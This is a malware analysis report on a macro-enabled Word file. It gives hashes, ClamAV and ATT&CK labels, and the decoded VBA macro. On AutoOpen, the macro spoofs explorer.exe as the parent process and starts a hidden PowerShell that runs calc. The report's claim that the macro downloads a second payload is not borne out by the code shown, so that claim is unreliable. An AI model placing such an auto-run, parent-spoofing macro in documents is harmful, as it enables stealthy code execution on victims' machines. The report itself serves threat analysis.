Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1a3ea70744f2e29e…

MALICIOUS

Office (OOXML)

20.7 KB Created: 2021-07-11 09:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: fac354c894f842421df4f830bc94c2d3 SHA-1: 68ea8585a98d64c43b31e7e996a2b088dae98d92 SHA-256: 1a3ea70744f2e29e3c1cceec8c4df08f83287171e4f930b85af2754edc38f3ae
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. The VBA code includes API calls for process creation and manipulation, suggesting it attempts to download and execute a secondary payload. The specific family is not identifiable from the provided evidence.

Heuristics 4

  • ClamAV: Doc.Malware.Valyria-10015188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015188-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4402 bytes
SHA-256: 0ec8ddaeb094068c7fc8dadfd8ffc1752b33a58887ac99fdc2df5bb6ffc54d41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
    
    Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
    
    Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Long, _
        lpThreadAttributes As Long, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As LongPtr, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
                                   
    Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
        ByVal dwAccess As Long, _
        ByVal fInherit As Integer, _
        ByVal hObject As Long _
    ) As LongPtr
     
    Private Declare PtrSafe Function cth32 Lib "kernel32.dll" Alias "CreateToolhelp32Snapshot" ( _
        ByVal dwFlags As Integer, _
        ByVal th32ProcessID As Integer _
    ) As Long
     
    Private Declare PtrSafe Function pp32f Lib "kernel32.dll" Alias "Process32First" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function pp32n Lib "kernel32.dll" Alias "Process32Next" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _
        ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As LongPtr
    
    Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
        ByVal hObject As LongPtr _
    ) As Long
     
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
    
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByRef lpValue As LongPtr, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean

Public Function gg(s As Integer, b As Integer) As String

End Function


    
Public Function gPBN(ByVal ProcName As String) As Integer
    snp
    
    Do
        If Left$(pEt.szExeFile, Len(ProcName)) = LCase$(ProcName) Then
            gPBN = pEt.th32ProcessID
            PF = False
        Else


End Function
    
Sub AutoOpen()
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim sNull As String
    Dim pid As Integer
    Dim r As Integer
    Dim threadAttribSize As Integer
    Dim strCmdLine As String
      
    #If VBA7 And Win64 Then
        Dim hParent As LongPtr
    #Else
        Dim hParent As Long
    #End If
      
    strCmdLine = "powers"
    strCmdLine = strCmdLine + "hell.exe -c calc"
      
    r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    r = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
      
    pid = gPBN("explorer.exe")
    hParent = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    
    r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVal 0&)
          
    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1
    si.STARTUPINFO.wShowWindow = SW_HIDE

    r = CreateProcess( _
      sNull, _
      strCmdLine, _
      ByVal 0&, _
      ByVal 0&, _
      1&, _
      EXTENDED_STARTUPINFO_PRESENT Or CREATE_NEW_CONSOLE, _
      ByVal 0&, _
      sNull, _
      VarPtr(si), _
      pi _
    )
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: 19a465cce3e9597dbdea1e5ec04a6025bdcada09741bf32a359b2cc931a5ed50
Detection
ClamAV: Doc.Malware.Valyria-10015188-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.